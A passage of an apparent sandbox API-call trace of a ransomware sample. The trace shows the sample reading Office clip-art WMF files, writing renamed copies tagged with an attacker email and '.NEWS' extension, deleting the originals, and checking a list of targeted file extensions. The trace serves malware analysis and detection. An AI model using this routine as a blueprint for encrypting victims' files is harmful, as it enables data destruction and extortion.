hTemplateFile=0x0) returned 0x37c [0083.768] GetLastError () returned 0x0 [0083.768] ReadFile (in: hFile=0x348, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x8fc, lpOverlapped=0x0) returned 1 [0083.769] WriteFile (in: hFile=0x37c, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x900, lpOverlapped=0x0) returned 1 [0083.770] ReadFile (in: hFile=0x348, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0083.770] WriteFile (in: hFile=0x37c, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0083.770] SetEndOfFile (hFile=0x37c) returned 1 [0083.770] CloseHandle (hObject=0x37c) returned 1 [0083.771] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0083.771] SetEndOfFile (hFile=0x348) returned 1 [0083.771] CloseHandle (hObject=0x348) returned 1 [0083.772] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0083.772] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01163_.wmf")) returned 1 [0083.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68 [0083.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68 [0083.772] lstrlenW (lpString=".doc") returned 4 [0083.772] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0083.772] lstrlenW (lpString=".docx") returned 5 [0083.772] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0083.772] lstrlenW (lpString=".pdf") returned 4 [0083.772] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0083.772] lstrlenW (lpString=".xls") returned 4 [0083.772] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0083.772] lstrlenW (lpString=".xlsx") returned 5 [0083.772] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0083.772] lstrlenW (lpString=".ppt") returned 4 [0083.772] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0083.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68 [0083.772] lstrlenW (lpString=".zip") returned 4 [0083.772] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0083.772] lstrlenW (lpString=".rar") returned 4 [0083.772] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0083.772] lstrlenW (lpString=".bz2") returned 4 [0083.772] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0083.772] lstrlenW (lpString=".7z") returned 3 [0083.772] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0083.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68 [0083.773] lstrlenW (lpString=".dbf") returned 4 [0083.773] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0083.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68 [0083.773] lstrlenW (lpString=".1cd") returned 4 [0083.773] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0083.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68 [0083.773] lstrlenW (lpString=".jpg") returned 4 [0083.773] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0083.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68 [0083.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68 [0083.773] lstrlenW (lpString=".doc") returned 4 [0083.773] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0083.773] lstrlenW (lpString=".docx") returned 5 [0083.773] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0083.773] lstrlenW (lpString=".pdf") returned 4 [0083.773] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0083.773] lstrlenW (lpString=".xls") returned 4 [0083.773] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0083.773] lstrlenW (lpString=".xlsx") returned 5 [0083.773] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0083.773] lstrlenW (lpString=".ppt") returned 4 [0083.773] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0083.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68 [0083.773] lstrlenW (lpString=".zip") returned 4 [0083.773] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0083.773] lstrlenW (lpString=".rar") returned 4 [0083.773] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0083.773] lstrlenW (lpString=".bz2") returned 4 [0083.773] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0083.773] lstrlenW (lpString=".7z") returned 3 [0083.773] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0083.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68 [0083.773] lstrlenW (lpString=".dbf") returned 4 [0083.773] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0083.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68 [0083.773] lstrlenW (lpString=".1cd") returned 4 [0083.773] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0083.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68 [0083.774] lstrlenW (lpString=".jpg") returned 4 [0083.774] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0083.774] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0083.774] lstrlenW (lpString="DD01166_.WMF") returned 12 [0083.774] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01166_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0083.774] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=2080) returned 1 [0083.774] CloseHandle (hObject=0x348) returned 1 [0083.774] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01166_.wmf")) returned 0x220 [0083.774] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01166_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0083.774] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01166_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0083.774] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0083.774] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0083.774] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01166_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0083.775] GetLastError () returned 0x0 [0083.775] ReadFile (in: hFile=0x348, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x820, lpOverlapped=0x0) returned 1 [0083.777] WriteFile (in: hFile=0x37c, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x830, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x830, lpOverlapped=0x0) returned 1 [0083.779] ReadFile (in: hFile=0x348, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0083.779] WriteFile (in: hFile=0x37c, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0083.779] SetEndOfFile (hFile=0x37c) returned 1 [0083.779] CloseHandle (hObject=0x37c) returned 1 [0083.779] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0083.779] SetEndOfFile (hFile=0x348) returned 1 [0083.780] CloseHandle (hObject=0x348) returned 1 [0083.780] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0083.780] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01166_.wmf")) returned 1 [0083.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68 [0083.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68 [0083.780] lstrlenW (lpString=".doc") returned 4 [0083.780] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0083.780] lstrlenW (lpString=".docx") returned 5 [0083.780] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0083.780] lstrlenW (lpString=".pdf") returned 4 [0083.780] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0083.780] lstrlenW (lpString=".xls") returned 4 [0083.781] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0083.781] lstrlenW (lpString=".xlsx") returned 5 [0083.781] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0083.781] lstrlenW (lpString=".ppt") returned 4 [0083.781] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0083.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68 [0083.781] lstrlenW (lpString=".zip") returned 4 [0083.781] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0083.781] lstrlenW (lpString=".rar") returned 4 [0083.781] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0083.781] lstrlenW (lpString=".bz2") returned 4 [0083.781] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0083.781] lstrlenW (lpString=".7z") returned 3 [0083.781] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0083.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68 [0083.781] lstrlenW (lpString=".dbf") returned 4 [0083.781] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0083.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68 [0083.781] lstrlenW (lpString=".1cd") returned 4 [0083.781] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0083.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68 [0083.781] lstrlenW (lpString=".jpg") returned 4 [0083.781] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0083.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68 [0083.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68 [0083.781] lstrlenW (lpString=".doc") returned 4 [0083.781] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0083.781] lstrlenW (lpString=".docx") returned 5 [0083.781] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0083.781] lstrlenW (lpString=".pdf") returned 4 [0083.781] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0083.781] lstrlenW (lpString=".xls") returned 4 [0083.781] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0083.781] lstrlenW (lpString=".xlsx") returned 5 [0083.781] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0083.781] lstrlenW (lpString=".ppt") returned 4 [0083.782] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0083.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68 [0083.782] lstrlenW (lpString=".zip") returned 4 [0083.782] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0083.782] lstrlenW (lpString=".rar") returned 4 [0083.782] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0083.782] lstrlenW (lpString=".bz2") returned 4 [0083.782] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0083.782] lstrlenW (lpString=".7z") returned 3 [0083.782] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0083.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68 [0083.782] lstrlenW (lpString=".dbf") returned 4 [0083.782] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0083.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68 [0083.782] lstrlenW (lpString=".1cd") returned 4 [0083.782] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0083.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68 [0083.782] lstrlenW (lpString=".jpg") returned 4 [0083.782] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0083.782] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0083.782] lstrlenW (lpString="DD01167_.WMF") returned 12 [0083.782] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01167_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0083.782] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=2080) returned 1 [0083.782] CloseHandle (hObject=0x348) returned 1 [0083.783] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01167_.wmf")) returned 0x220 [0083.783] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01167_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0083.783] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01167_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0083.783] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0083.783] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0083.783] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01167_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0083.783] GetLastError () returned 0x0 [0083.783] ReadFile (in: hFile=0x348, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x820, lpOverlapped=0x0) returned 1 [0083.784] WriteFile (in: hFile=0x37c, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x830, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x830, lpOverlapped=0x0) returned 1 [0083.785] ReadFile (in: hFile=0x348, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0083.786] WriteFile (in: hFile=0x37c, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0083.786] SetEndOfFile (hFile=0x37c) returned 1 [0083.786] CloseHandle (hObject=0x37c) returned 1 [0083.786] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0083.786] SetEndOfFile (hFile=0x348) returned 1 [0083.787] CloseHandle (hObject=0x348) returned 1 [0083.787] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0083.787] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01167_.wmf")) returned 1 [0083.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68 [0083.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68 [0083.787] lstrlenW (lpString=".doc") returned 4 [0083.787] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0083.787] lstrlenW (lpString=".docx") returned 5 [0083.787] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0083.787] lstrlenW (lpString=".pdf") returned 4 [0083.788] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0083.788] lstrlenW (lpString=".xls") returned 4 [0083.788] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0083.788] lstrlenW (lpString=".xlsx") returned 5 [0083.788] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0083.788] lstrlenW (lpString=".ppt") returned 4 [0083.788] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0083.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68 [0083.788] lstrlenW (lpString=".zip") returned 4 [0083.788] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0083.788] lstrlenW (lpString=".rar") returned 4 [0083.788] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0083.788] lstrlenW (lpString=".bz2") returned 4 [0083.788] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0083.788] lstrlenW (lpString=".7z") returned 3 [0083.788] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0083.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68 [0083.788] lstrlenW (lpString=".dbf") returned 4 [0083.788] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0083.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68 [0083.788] lstrlenW (lpString=".1cd") returned 4 [0083.788] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0083.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68 [0083.788] lstrlenW (lpString=".jpg") returned 4 [0083.788] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0083.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68 [0083.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68 [0083.788] lstrlenW (lpString=".doc") returned 4 [0083.788] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0083.788] lstrlenW (lpString=".docx") returned 5 [0083.788] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0083.788] lstrlenW (lpString=".pdf") returned 4 [0083.788] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0083.788] lstrlenW (lpString=".xls") returned 4 [0083.788] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0083.788] lstrlenW (lpString=".xlsx") returned 5 [0083.789] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0083.789] lstrlenW (lpString=".ppt") returned 4 [0083.789] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0083.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68 [0083.789] lstrlenW (lpString=".zip") returned 4 [0083.789] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0083.789] lstrlenW (lpString=".rar") returned 4 [0083.789] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0083.789] lstrlenW (lpString=".bz2") returned 4 [0083.789] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0083.789] lstrlenW (lpString=".7z") returned 3 [0083.789] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0083.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68 [0083.789] lstrlenW (lpString=".dbf") returned 4 [0083.789] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0083.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68 [0083.789] lstrlenW (lpString=".1cd") returned 4 [0083.789] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0083.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68 [0083.789] lstrlenW (lpString=".jpg") returned 4 [0083.789] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0083.789] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0083.789] lstrlenW (lpString="DD01168_.WMF") returned 12 [0083.789] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01168_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0084.691] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=2004) returned 1 [0084.691] CloseHandle (hObject=0x39c) returned 1 [0084.691] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01168_.wmf")) returned 0x220 [0084.691] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01168_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0084.691] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01168_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0084.691] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0084.691] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0084.691] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01168_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0084.692] GetLastError () returned 0x0 [0084.692] ReadFile (in: hFile=0x39c, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x7d4, lpOverlapped=0x0) returned 1 [0084.693] WriteFile (in: hFile=0x338, lpBuffer=0x3b3b020*, 